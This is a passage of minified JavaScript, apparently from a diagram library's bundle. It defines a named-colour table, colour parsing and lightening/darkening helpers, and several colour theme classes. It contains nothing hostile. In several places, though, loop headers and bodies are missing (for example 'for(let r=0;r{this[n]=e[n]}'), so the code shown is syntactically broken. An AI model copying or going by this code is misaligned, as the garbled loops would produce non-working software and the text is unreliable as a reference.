ppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhite:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a460",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",transparent:"#00000000",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"},parse:o(t=>{t=t.toLowerCase();let e=Q4.colors[t];if(e)return od.parse(e)},"parse"),stringify:o(t=>{let e=od.stringify(t);for(let r in Q4.colors)if(Q4.colors[r]===e)return r},"stringify")},m7=Q4});var TG,My,wG=N(()=>{"use strict";Xl();Ry();TG={re:/^rgba?\(\s*?(-?(?:\d+(?:\.\d+)?|(?:\.\d+))(?:e\d+)?(%?))\s*?(?:,|\s)\s*?(-?(?:\d+(?:\.\d+)?|(?:\.\d+))(?:e\d+)?(%?))\s*?(?:,|\s)\s*?(-?(?:\d+(?:\.\d+)?|(?:\.\d+))(?:e\d+)?(%?))(?:\s*?(?:,|\/)\s*?\+?(-?(?:\d+(?:\.\d+)?|(?:\.\d+))(?:e\d+)?(%?)))?\s*?\)$/i,parse:o(t=>{let e=t.charCodeAt(0);if(e!==114&&e!==82)return;let r=t.match(TG.re);if(!r)return;let[,n,i,a,s,l,u,h,f]=r;return fh.set({r:Kt.channel.clamp.r(i?parseFloat(n)*2.55:parseFloat(n)),g:Kt.channel.clamp.g(s?parseFloat(a)*2.55:parseFloat(a)),b:Kt.channel.clamp.b(u?parseFloat(l)*2.55:parseFloat(l)),a:h?Kt.channel.clamp.a(f?parseFloat(h)/100:parseFloat(h)):1},t)},"parse"),stringify:o(t=>{let{r:e,g:r,b:n,a:i}=t;return i<1?`rgba(${Kt.lang.round(e)}, ${Kt.lang.round(r)}, ${Kt.lang.round(n)}, ${Kt.lang.round(i)})`:`rgb(${Kt.lang.round(e)}, ${Kt.lang.round(r)}, ${Kt.lang.round(n)})`},"stringify")},My=TG});var l5e,Mi,ou=N(()=>{"use strict";p7();xG();bG();wG();Ly();l5e={format:{keyword:m7,hex:od,rgb:My,rgba:My,hsl:Ny,hsla:Ny},parse:o(t=>{if(typeof t!="string")return t;let e=od.parse(t)||My.parse(t)||Ny.parse(t)||m7.parse(t);if(e)return e;throw new Error(`Unsupported color format: "${t}"`)},"parse"),stringify:o(t=>!t.changed&&t.color?t.color:t.type.is(Ni.HSL)||t.data.r===void 0?Ny.stringify(t):t.a<1||!Number.isInteger(t.r)||!Number.isInteger(t.g)||!Number.isInteger(t.b)?My.stringify(t):od.stringify(t),"stringify")},Mi=l5e});var c5e,Z4,g7=N(()=>{"use strict";Xl();ou();c5e=o((t,e)=>{let r=Mi.parse(t);for(let n in e)r[n]=Kt.channel.clamp[n](e[n]);return Mi.stringify(r)},"change"),Z4=c5e});var u5e,Ka,y7=N(()=>{"use strict";Xl();Ry();ou();g7();u5e=o((t,e,r=0,n=1)=>{if(typeof t!="number")return Z4(t,{a:e});let i=fh.set({r:Kt.channel.clamp.r(t),g:Kt.channel.clamp.g(e),b:Kt.channel.clamp.b(r),a:Kt.channel.clamp.a(n)});return Mi.stringify(i)},"rgba"),Ka=u5e});var h5e,ld,kG=N(()=>{"use strict";Xl();ou();h5e=o((t,e)=>Kt.lang.round(Mi.parse(t)[e]),"channel"),ld=h5e});var f5e,EG,SG=N(()=>{"use strict";Xl();ou();f5e=o(t=>{let{r:e,g:r,b:n}=Mi.parse(t),i=.2126*Kt.channel.toLinear(e)+.7152*Kt.channel.toLinear(r)+.0722*Kt.channel.toLinear(n);return Kt.lang.round(i)},"luminance"),EG=f5e});var d5e,CG,AG=N(()=>{"use strict";SG();d5e=o(t=>EG(t)>=.5,"isLight"),CG=d5e});var p5e,sa,_G=N(()=>{"use strict";AG();p5e=o(t=>!CG(t),"isDark"),sa=p5e});var m5e,J4,v7=N(()=>{"use strict";Xl();ou();m5e=o((t,e,r)=>{let n=Mi.parse(t),i=n[e],a=Kt.channel.clamp[e](i+r);return i!==a&&(n[e]=a),Mi.stringify(n)},"adjustChannel"),J4=m5e});var g5e,Rt,DG=N(()=>{"use strict";v7();g5e=o((t,e)=>J4(t,"l",e),"lighten"),Rt=g5e});var y5e,Pt,LG=N(()=>{"use strict";v7();y5e=o((t,e)=>J4(t,"l",-e),"darken"),Pt=y5e});var v5e,Pe,RG=N(()=>{"use strict";ou();g7();v5e=o((t,e)=>{let r=Mi.parse(t),n={};for(let i in e)e[i]&&(n[i]=r[i]+e[i]);return Z4(t,n)},"adjust"),Pe=v5e});var x5e,NG,MG=N(()=>{"use strict";ou();y7();x5e=o((t,e,r=50)=>{let{r:n,g:i,b:a,a:s}=Mi.parse(t),{r:l,g:u,b:h,a:f}=Mi.parse(e),d=r/100,p=d*2-1,m=s-f,y=((p*m===-1?p:(p+m)/(1+p*m))+1)/2,v=1-y,x=n*y+l*v,b=i*y+u*v,T=a*y+h*v,S=s*d+f*(1-d);return Ka(x,b,T,S)},"mix"),NG=x5e});var b5e,Et,IG=N(()=>{"use strict";ou();MG();b5e=o((t,e=100)=>{let r=Mi.parse(t);return r.r=255-r.r,r.g=255-r.g,r.b=255-r.b,NG(r,t,e)},"invert"),Et=b5e});var OG=N(()=>{"use strict";y7();kG();_G();DG();LG();RG();IG()});var eo=N(()=>{"use strict";OG()});var dh,ph,Iy=N(()=>{"use strict";dh="#ffffff",ph="#f2f2f2"});var wi,x0=N(()=>{"use strict";eo();wi=o((t,e)=>e?Pe(t,{s:-40,l:10}):Pe(t,{s:-40,l:-10}),"mkBorder")});var b7,PG,BG=N(()=>{"use strict";eo();Iy();x0();b7=class{static{o(this,"Theme")}constructor(){this.background="#f4f4f4",this.primaryColor="#fff4dd",this.noteBkgColor="#fff5ad",this.noteTextColor="#333",this.THEME_COLOR_LIMIT=12,this.fontFamily='"trebuchet ms", verdana, arial, sans-serif',this.fontSize="16px"}updateColors(){if(this.primaryTextColor=this.primaryTextColor||(this.darkMode?"#eee":"#333"),this.secondaryColor=this.secondaryColor||Pe(this.primaryColor,{h:-120}),this.tertiaryColor=this.tertiaryColor||Pe(this.primaryColor,{h:180,l:5}),this.primaryBorderColor=this.primaryBorderColor||wi(this.primaryColor,this.darkMode),this.secondaryBorderColor=this.secondaryBorderColor||wi(this.secondaryColor,this.darkMode),this.tertiaryBorderColor=this.tertiaryBorderColor||wi(this.tertiaryColor,this.darkMode),this.noteBorderColor=this.noteBorderColor||wi(this.noteBkgColor,this.darkMode),this.noteBkgColor=this.noteBkgColor||"#fff5ad",this.noteTextColor=this.noteTextColor||"#333",this.secondaryTextColor=this.secondaryTextColor||Et(this.secondaryColor),this.tertiaryTextColor=this.tertiaryTextColor||Et(this.tertiaryColor),this.lineColor=this.lineColor||Et(this.background),this.arrowheadColor=this.arrowheadColor||Et(this.background),this.textColor=this.textColor||this.primaryTextColor,this.border2=this.border2||this.tertiaryBorderColor,this.nodeBkg=this.nodeBkg||this.primaryColor,this.mainBkg=this.mainBkg||this.primaryColor,this.nodeBorder=this.nodeBorder||this.primaryBorderColor,this.clusterBkg=this.clusterBkg||this.tertiaryColor,this.clusterBorder=this.clusterBorder||this.tertiaryBorderColor,this.defaultLinkColor=this.defaultLinkColor||this.lineColor,this.titleColor=this.titleColor||this.tertiaryTextColor,this.edgeLabelBackground=this.edgeLabelBackground||(this.darkMode?Pt(this.secondaryColor,30):this.secondaryColor),this.nodeTextColor=this.nodeTextColor||this.primaryTextColor,this.actorBorder=this.actorBorder||this.primaryBorderColor,this.actorBkg=this.actorBkg||this.mainBkg,this.actorTextColor=this.actorTextColor||this.primaryTextColor,this.actorLineColor=this.actorLineColor||this.actorBorder,this.labelBoxBkgColor=this.labelBoxBkgColor||this.actorBkg,this.signalColor=this.signalColor||this.textColor,this.signalTextColor=this.signalTextColor||this.textColor,this.labelBoxBorderColor=this.labelBoxBorderColor||this.actorBorder,this.labelTextColor=this.labelTextColor||this.actorTextColor,this.loopTextColor=this.loopTextColor||this.actorTextColor,this.activationBorderColor=this.activationBorderColor||Pt(this.secondaryColor,10),this.activationBkgColor=this.activationBkgColor||this.secondaryColor,this.sequenceNumberColor=this.sequenceNumberColor||Et(this.lineColor),this.sectionBkgColor=this.sectionBkgColor||this.tertiaryColor,this.altSectionBkgColor=this.altSectionBkgColor||"white",this.sectionBkgColor=this.sectionBkgColor||this.secondaryColor,this.sectionBkgColor2=this.sectionBkgColor2||this.primaryColor,this.excludeBkgColor=this.excludeBkgColor||"#eeeeee",this.taskBorderColor=this.taskBorderColor||this.primaryBorderColor,this.taskBkgColor=this.taskBkgColor||this.primaryColor,this.activeTaskBorderColor=this.activeTaskBorderColor||this.primaryColor,this.activeTaskBkgColor=this.activeTaskBkgColor||Rt(this.primaryColor,23),this.gridColor=this.gridColor||"lightgrey",this.doneTaskBkgColor=this.doneTaskBkgColor||"lightgrey",this.doneTaskBorderColor=this.doneTaskBorderColor||"grey",this.critBorderColor=this.critBorderColor||"#ff8888",this.critBkgColor=this.critBkgColor||"red",this.todayLineColor=this.todayLineColor||"red",this.vertLineColor=this.vertLineColor||"navy",this.taskTextColor=this.taskTextColor||this.textColor,this.taskTextOutsideColor=this.taskTextOutsideColor||this.textColor,this.taskTextLightColor=this.taskTextLightColor||this.textColor,this.taskTextColor=this.taskTextColor||this.primaryTextColor,this.taskTextDarkColor=this.taskTextDarkColor||this.textColor,this.taskTextClickableColor=this.taskTextClickableColor||"#003163",this.personBorder=this.personBorder||this.primaryBorderColor,this.personBkg=this.personBkg||this.mainBkg,this.darkMode?(this.rowOdd=this.rowOdd||Pt(this.mainBkg,5)||"#ffffff",this.rowEven=this.rowEven||Pt(this.mainBkg,10)):(this.rowOdd=this.rowOdd||Rt(this.mainBkg,75)||"#ffffff",this.rowEven=this.rowEven||Rt(this.mainBkg,5)),this.transitionColor=this.transitionColor||this.lineColor,this.transitionLabelColor=this.transitionLabelColor||this.textColor,this.stateLabelColor=this.stateLabelColor||this.stateBkg||this.primaryTextColor,this.stateBkg=this.stateBkg||this.mainBkg,this.labelBackgroundColor=this.labelBackgroundColor||this.stateBkg,this.compositeBackground=this.compositeBackground||this.background||this.tertiaryColor,this.altBackground=this.altBackground||this.tertiaryColor,this.compositeTitleBackground=this.compositeTitleBackground||this.mainBkg,this.compositeBorder=this.compositeBorder||this.nodeBorder,this.innerEndBackground=this.nodeBorder,this.errorBkgColor=this.errorBkgColor||this.tertiaryColor,this.errorTextColor=this.errorTextColor||this.tertiaryTextColor,this.transitionColor=this.transitionColor||this.lineColor,this.specialStateColor=this.lineColor,this.cScale0=this.cScale0||this.primaryColor,this.cScale1=this.cScale1||this.secondaryColor,this.cScale2=this.cScale2||this.tertiaryColor,this.cScale3=this.cScale3||Pe(this.primaryColor,{h:30}),this.cScale4=this.cScale4||Pe(this.primaryColor,{h:60}),this.cScale5=this.cScale5||Pe(this.primaryColor,{h:90}),this.cScale6=this.cScale6||Pe(this.primaryColor,{h:120}),this.cScale7=this.cScale7||Pe(this.primaryColor,{h:150}),this.cScale8=this.cScale8||Pe(this.primaryColor,{h:210,l:150}),this.cScale9=this.cScale9||Pe(this.primaryColor,{h:270}),this.cScale10=this.cScale10||Pe(this.primaryColor,{h:300}),this.cScale11=this.cScale11||Pe(this.primaryColor,{h:330}),this.darkMode)for(let r=0;r{this[n]=e[n]}),this.updateColors(),r.forEach(n=>{this[n]=e[n]})}},PG=o(t=>{let e=new b7;return e.calculate(t),e},"getThemeVariables")});var T7,FG,$G=N(()=>{"use strict";eo();x0();T7=class{static{o(this,"Theme")}constructor(){this.background="#333",this.primaryColor="#1f2020",this.secondaryColor=Rt(this.primaryColor,16),this.tertiaryColor=Pe(this.primaryColor,{h:-160}),this.primaryBorderColor=Et(this.background),this.secondaryBorderColor=wi(this.secondaryColor,this.darkMode),this.tertiaryBorderColor=wi(this.tertiaryColor,this.darkMode),this.primaryTextColor=Et(this.primaryColor),this.secondaryTextColor=Et(this.secondaryColor),this.tertiaryTextColor=Et(this.tertiaryColor),this.lineColor=Et(this.background),this.textColor=Et(this.background),this.mainBkg="#1f2020",this.secondBkg="calculated",this.mainContrastColor="lightgrey",this.darkTextColor=Rt(Et("#323D47"),10),this.lineColor="calculated",this.border1="#ccc",this.border2=Ka(255,255,255,.25),this.arrowheadColor="calculated",this.fontFamily='"trebuchet ms", verdana, arial, sans-serif',this.fontSize="16px",this.labelBackground="#181818",this.textColor="#ccc",this.THEME_COLOR_LIMIT=12,this.nodeBkg="calculated",this.nodeBorder="calculated",this.clusterBkg="calculated",this.clusterBorder="calculated",this.defaultLinkColor="calculated",this.titleColor="#F9FFFE",this.edgeLabelBackground="calculated",this.actorBorder="calculated",this.actorBkg="calculated",this.actorTextColor="calculated",this.actorLineColor="calculated",this.signalColor="calculated",this.signalTextColor="calculated",this.labelBoxBkgColor="calculated",this.labelBoxBorderColor="calculated",this.labelTextColor="calculated",this.loopTextColor="calculated",this.noteBorderColor="calculated",this.noteBkgColor="#fff5ad",this.noteTextColor="calculated",this.activationBorderColor="calculated",this.activationBkgColor="calculated",this.sequenceNumberColor="black",this.sectionBkgColor=Pt("#EAE8D9",30),this.altSectionBkgColor="calculated",this.sectionBkgColor2="#EAE8D9",this.excludeBkgColor=Pt(this.sectionBkgColor,10),this.taskBorderColor=Ka(255,255,255,70),this.taskBkgColor="calculated",this.taskTextColor="calculated",this.taskTextLightColor="calculated",this.taskTextOutsideColor="calculated",this.taskTextClickableColor="#003163",this.activeTaskBorderColor=Ka(255,255,255,50),this.activeTaskBkgColor="#81B1DB",this.gridColor="calculated",this.doneTaskBkgColor="calculated",this.doneTaskBorderColor="grey",this.critBorderColor="#E83737",this.critBkgColor="#E83737",this.taskTextDarkColor="calculated",this.todayLineColor="#DB5757",this.vertLineColor="#00BFFF",this.personBorder=this.primaryBorderColor,this.personBkg=this.mainBkg,this.archEdgeColor="calculated",this.archEdgeArrowColor="calculated",this.archEdgeWidth="3",this.archGroupBorderColor=this.primaryBorderColor,this.archGroupBorderWidth="2px",this.rowOdd=this.rowOdd||Rt(this.mainBkg,5)||"#ffffff",this.rowEven=this.rowEven||Pt(this.mainBkg,10),this.labelColor="calculated",this.errorBkgColor="#a44141",this.errorTextColor="#ddd"}updateColors(){this.secondBkg=Rt(this.mainBkg,16),this.lineColor=this.mainContrastColor,this.arrowheadColor=this.mainContrastColor,this.nodeBkg=this.mainBkg,this.nodeBorder=this.border1,this.clusterBkg=this.secondBkg,this.clusterBorder=this.border2,this.defaultLinkColor=this.lineColor,this.edgeLabelBackground=Rt(this.labelBackground,25),this.actorBorder=this.border1,this.actorBkg=this.mainBkg,this.actorTextColor=this.mainContrastColor,this.actorLineColor=this.actorBorder,this.signalColor=this.mainContrastColor,this.signalTextColor=this.mainContrastColor,this.labelBoxBkgColor=this.actorBkg,this.labelBoxBorderColor=this.actorBorder,this.labelTextColor=this.mainContrastColor,this.loopTextColor=this.mainContrastColor,this.noteBorderColor=this.secondaryBorderColor,this.noteBkgColor=this.secondBkg,this.noteTextColor=this.secondaryTextColor,this.activationBorderColor=this.border1,this.activationBkgColor=this.secondBkg,this.altSectionBkgColor=this.background,this.taskBkgColor=Rt(this.mainBkg,23),this.taskTextColor=this.darkTextColor,this.taskTextLightColor=this.mainContrastColor,this.taskTextOutsideColor=this.taskTextLightColor,this.gridColor=this.mainContrastColor,this.doneTaskBkgColor=this.mainContrastColor,this.taskTextDarkColor=this.darkTextColor,this.archEdgeColor=this.lineColor,this.archEdgeArrowColor=this.lineColor,this.transitionColor=this.transitionColor||this.lineColor,this.transitionLabelColor=this.transitionLabelColor||this.textColor,this.stateLabelColor=this.stateLabelColor||this.stateBkg||this.primaryTextColor,this.stateBkg=this.stateBkg||this.mainBkg,this.labelBackgroundColor=this.labelBackgroundColor||this.stateBkg,this.compositeBackground=this.compositeBackground||this.background||this.tertiaryColor,this.altBackground=this.altBackground||"#555",this.compositeTitleBackground=this.compositeTitleBackground||this.mainBkg,this.compositeBorder=this.compositeBorder||this.nodeBorder,this.innerEndBackground=this.primaryBorderColor,this.specialStateColor="#f4f4f4",this.errorBkgColor=this.errorBkgColor||this.tertiaryColor,this.errorTextColor=this.errorTextColor||this.tertiaryTextColor,this.fillType0=this.primaryColor,this.fillType1=this.secondaryColor,this.fillType2=Pe(this.primaryColor,{h:64}),this.fillType3=Pe(this.secondaryColor,{h:64}),this.fillType4=Pe(this.primaryColor,{h:-64}),this.fillType5=Pe(this.secondaryColor,{h:-64}),this.fillType6=Pe(this.primaryColor,{h:128}),this.fillType7=Pe(this.secondaryColor,{h:128}),this.cScale1=this.cScale1||"#0b0000",this.cScale2=this.cScale2||"#4d1037",this.cScale3=this.cScale3||"#3f5258",this.cScale4=this.cScale4||"#4f2f1b",this.cScale5=this.cScale5||"#6e0a0a",this.cScale6=this.cScale6||"#3b0048",this.cScale7=this.cScale7||"#995a01",this.cScale8=this.cScale8||"#154706",this.cScale9=this.cScale9||"#161722",this.cScale10=this.cScale10||"#00296f",this.cScale11=this.cScale11||"#01629c",this.cScale12=this.cScale12||"#010029",this.cScale0=this.cScale0||this.primaryColor,this.cScale1=this.cScale1||this.secondaryColor,this.cScale2=this.cScale2||this.tertiaryColor,this.cScale3=this.cScale3||Pe(this.primaryColor,{h:30}),this.cScale4=this.cScale4||Pe(this.primaryColor,{h:60}),this.cScale5=this.cScale5||Pe(this.primaryColor,{h:90}),this.cScale6=this.cScale6||Pe(this.primaryColor,{h:120}),this.cScale7=this.cScale7||Pe(this.primaryColor,{h:150}),this.cScale8=this.cScale8||Pe(this.primaryColor,{h:210}),this.cScale9=this.cScale9||Pe(this.primaryColor,{h:270}),this.cScale10=this.cScale10||Pe(this.primaryColor,{h:300}),this.cScale11=this.cScale11||Pe(this.primaryColor,{h:330});for(let e=0;e{this[n]=e[n]}),this.updateColors(),r.forEach(n=>{this[n]=e[n]})}},FG=o(t=>{let e=new T7;return e.calculate(t),e},"getThemeVariables")});var w7,mh,Oy=N(()=>{"use strict";eo();x0();Iy();w7=class{static{o(this,"Theme")}constructor(){this.background="#f4f4f4",this.primaryColor="#ECECFF",this.secondaryColor=Pe(this.primaryColor,{h:120}),this.secondaryColor="#ffffde",this.tertiaryColor=Pe(this.primaryColor,{h:-160}),this.primaryBorderColor=wi(this.primaryColor,this.darkMode),this.secondaryBorderColor=wi(this.secondaryColor,this.darkMode),this.tertiaryBorderColor=wi(this.tertiaryColor,this.darkMode),this.primaryTextColor=Et(this.primaryColor),this.secondaryTextColor=Et(this.secondaryColor),this.tertiaryTextColor=Et(this.tertiaryColor),this.lineColor=Et(this.background),this.textColor=Et(this.background),this.background="white",this.mainBkg="#ECECFF",this.secondBkg="#ffffde",this.lineColor="#333333",this.border1="#9370DB",this.border2="#aaaa33",this.arrowheadColor="#333333",this.fontFamily='"trebuchet ms", verdana, arial, sans-serif',this.fontSize="16px",this.labelBackground="rgba(232,232,232, 0.8)",this.textColor="#333",this.THEME_COLOR_LIMIT=12,this.nodeBkg="calculated",this.nodeBorder="calculated",this.clusterBkg="calculated",this.clusterBorder="calculated",this.defaultLinkColor="calculated",this.titleColor="calculated",this.edgeLabelBackground="calculated",this.actorBorder="calculated",this.actorBkg="calculated",this.actorTextColor="black",this.actorLineColor="calculated",this.signalColor="calculated",this.signalTextColor="calculated",this.labelBoxBkgColor="calculated",this.labelBoxBorderColor="calculated",this.labelTextColor="calculated",this.loopTextColor="calculated",this.noteBorderColor="calculated",this.noteBkgColor="#fff5ad",this.noteTextColor="calculated",this.activationBorderColor="#666",this.activationBkgColor="#f4f4f4",this.sequenceNumberColor="white",this.sectionBkgColor="calculated",this.altSectionBkgColor="calculated",this.sectionBkgColor2="calculated",this.excludeBkgColor="#eeeeee",this.taskBorderColor="calculated",this.taskBkgColor="calculated",this.taskTextLightColor="calculated",this.taskTextColor=this.taskTextLightColor,this.taskTextDarkColor="calculated",this.taskTextOutsideColor=this.taskTextDarkColor,this.taskTextClickableColor="calculated",this.activeTaskBorderColor="calculated",this.activeTaskBkgColor="calculated",this.gridColor="calculated",this.doneTaskBkgColor="calculated",this.doneTaskBorderColor="calculated",this.critBorderColor="calculated",this.critBkgColor="calculated",this.todayLineColor="calculated",this.vertLineColor="calculated",this.sectionBkgColor=Ka(102,102,255,.49),this.altSectionBkgColor="white",this.sectionBkgColor2="#fff400",this.taskBorderColor="#534fbc",this.taskBkgColor="#8a90dd",this.taskTextLightColor="white",this.taskTextColor="calculated",this.taskTextDarkColor="black",this.taskTextOutsideColor="calculated",this.taskTextClickableColor="#003163",this.activeTaskBorderColor="#534fbc",this.activeTaskBkgColor="#bfc7ff",this.gridColor="lightgrey",this.doneTaskBkgColor="lightgrey",this.doneTaskBorderColor="grey",this.critBorderColor="#ff8888",this.critBkgColor="red",this.todayLineColor="red",this.vertLineColor="navy",this.personBorder=this.primaryBorderColor,this.personBkg=this.mainBkg,this.archEdgeColor="calculated",this.archEdgeArrowColor="calculated",this.archEdgeWidth="3",this.archGroupBorderColor=this.primaryBorderColor,this.archGroupBorderWidth="2px",this.rowOdd="calculated",this.rowEven="calculated",this.labelColor="black",this.errorBkgColor="#552222",this.errorTextColor="#552222",this.updateColors()}updateColors(){this.cScale0=this.cScale0||this.primaryColor,this.cScale1=this.cScale1||this.secondaryColor,this.cScale2=this.cScale2||this.tertiaryColor,this.cScale3=this.cScale3||Pe(this.primaryColor,{h:30}),this.cScale4=this.cScale4||Pe(this.primaryColor,{h:60}),this.cScale5=this.cScale5||Pe(this.primaryColor,{h:90}),this.cScale6=this.cScale6||Pe(this.primaryColor,{h:120}),this.cScale7=this.cScale7||Pe(this.primaryColor,{h:150}),this.cScale8=this.cScale8||Pe(this.primaryColor,{h:210}),this.cScale9=this.cScale9||Pe(this.primaryColor,{h:270}),this.cScale10=this.cScale10||Pe(this.primaryColor,{h:300}),this.cScale11=this.cScale11||Pe(this.primaryColor,{h:330}),this.cScalePeer1=this.cScalePeer1||Pt(this.secondaryColor,45),this.cScalePeer2=this.cScalePeer2||Pt(this.tertiaryColor,40);for(let e=0;e{this[n]==="calculated"&&(this[n]=void 0)}),typeof e!="object"){this.updateColors();return}let r=Object.keys(e);r.forEach(n=>{this[n]=e[n]}),this.updateColors(),r.forEach(n=>{this[n]=e[n]})}},mh=o(t=>{let e=new w7;return e.calculate(t),e},"getThemeVariables")});var k7,zG,GG=N(()=>{"use strict";eo();Iy();x0();k7=class{static{o(this,"Theme")}constructor(){this.background="#f4f4f4",this.primaryColor="#cde498",this.secondaryColor="#cdffb2",this.background="white",this.mainBkg="#cde498",this.secondBkg="#cdffb2",this.lineColor="green",this.border1="#13540c",this.border2="#6eaa49",this.arrowheadColor="green",this.fontFamily='"trebuchet ms", verdana, arial, sans-serif',this.fontSize="16px",this.tertiaryColor=Rt("#cde498",10),this.primaryBorderColor=wi(this.primaryColor,this.darkMode),this.secondaryBorderColor=wi(this.secondaryColor,this.darkMode),this.tertiaryBorderColor=wi(this.tertiaryColor,this.darkMode),this.primaryTextColor=Et(this.primaryColor),this.secondaryTextColor=Et(this.secondaryColor),this.tertiaryTextColor=Et(this.primaryColor),this.lineColor=Et(this.background),this.textColor=Et(this.background),this.THEME_COLOR_LIMIT=12,this.nodeBkg="calculated",this.nodeBorder="calculated",this.clusterBkg="calculated",this.clusterBorder="calculated",this.defaultLinkColor="calculated",this.titleColor="#333",this.edgeLabelBackground="#e8e8e8",this.actorBorder="calculated",this.actorBkg="calculated",this.actorTextColor="black",this.actorLineColor="calculated",this.signalColor="#333",this.signalTextColor="#333",this.labelBoxBkgColor="calculated",this.labelBoxBorderColor="#326932",this.labelTextColor="calculated",this.loopTextColor="calculated",this.noteBorderColor="calculated",this.noteBkgColor="#fff5ad",this.noteTextColor="calculated",this.activationBorderColor="#666",this.activationBkgColor="#f4f4f4",this.sequenceNumberColor="white",this.sectionBkgColor="#6eaa49",this.altSectionBkgColor="white",this.sectionBkgColor2="#6eaa49",this.excludeBkgColor="#eeeeee",this.taskBorderColor="calculated",this.taskBkgColor="#487e3a",this.taskTextLightColor="white",this.taskTextColor="calculated",this.taskTextDarkColor="black",this.taskTextOutsideColor="calculated",this.taskTextClickableColor="#003163",this.activeTaskBorderColor="calculated",this.activeTaskBkgColor="calculated",this.gridColor="lightgrey",this.doneTaskBkgColor="lightgrey",this.doneTaskBorderColor="grey",this.critBorderColor="#ff8888",this.critBkgColor="red",this.todayLineColor="red",this.vertLineColor="#00BFFF",this.personBorder=this.primaryBorderColor,this.personBkg=this.mainBkg,this.archEdgeColor="calculated",this.archEdgeArrowColor="calculated",this.archEdgeWidth="3",this.archGroupBorderColor=this.primaryBorderColor,this.archGroupBorderWidth="2px",this.labelColor="black",this.errorBkgColor="#552222",this.errorTextColor="#552222"}updateColors(){this.actorBorder=Pt(this.mainBkg,20),this.actorBkg=this.mainBkg,this.labelBoxBkgColor=this.actorBkg,this.labelTextColor=this.actorTextColor,this.loopTextColor=this.actorTextColor,this.noteBorderColor=this.border2,this.noteTextColor=this.actorTextColor,this.actorLineColor=this.actorBorder,this.cScale0=this.cScale0||this.primaryColor,this.cScale1=this.cScale1||this.secondaryColor,this.cScale2=this.cScale2||this.tertiaryColor,this.cScale3=this.cScale3||Pe(this.primaryColor,{h:30}),this.cScale4=this.cScale4||Pe(this.primaryColor,{h:60}),this.cScale5=this.cScale5||Pe(this.primaryColor,{h:90}),this.cScale6=this.cScale6||Pe(this.primaryColor,{h:120}),this.cScale7=this.cScale7||Pe(this.primaryColor,{h:150}),this.cScale8=this.cScale8||Pe(this.primaryColor,{h:210}),this.cScale9=this.cScale9||Pe(this.primaryColor,{h:270}),this.cScale10=this.cScale10||Pe(this.primaryColor,{h:300}),this.cScale11=this.cScale11||Pe(this.primaryColor,{h:330}),this.cScalePeer1=this.cScalePeer1||Pt(this.secondaryColor,45),this.cScalePeer2=this.cScalePeer2||Pt(this.tertiaryColor,40);for(let e=0;e{this[n]=e[n]}),this.updateColors(),r.forEach(n=>{this[n]=e[n]})}},zG=o(t=>{let e=new k7;return e.calculate(t),e},"getThemeVariables")});var E7,VG,UG=N(()=>{"use strict";eo();x0();Iy();E7=class{static{o(this,"Theme")}constructor(){this.primaryColor="#eee",this.contrast="#707070",this.secondaryColor=Rt(this.contrast,55),this.background="#ffffff",this.tertiaryColor=Pe(this.primaryColor,{h:-160}),this.primaryBorderColor=wi(this.primaryColor,this.darkMode),this.secondaryBorderColor=wi(this.secondaryColor,this.darkMode),this.tertiaryBorderColor=wi(this.tertiaryColor,this.darkMode),this.primaryTextColor=Et(this.primaryColor),this.secondaryTextColor=Et(this.secondaryColor),this.tertiaryTextColor=Et(this.tertiaryColor),this.lineColor=Et(this.background),this.textColor=Et(this.background),this.mainBkg="#eee",this.secondBkg="calculated",this.lineColor="#666",this.border1="#999",this.border2="calculated",this.note="#ffa",this.text="#333",this.critical="#d42",this.done="#bbb",this.arrowheadColor="#333333",this.fontFamily='"trebuchet ms", verdana, arial, 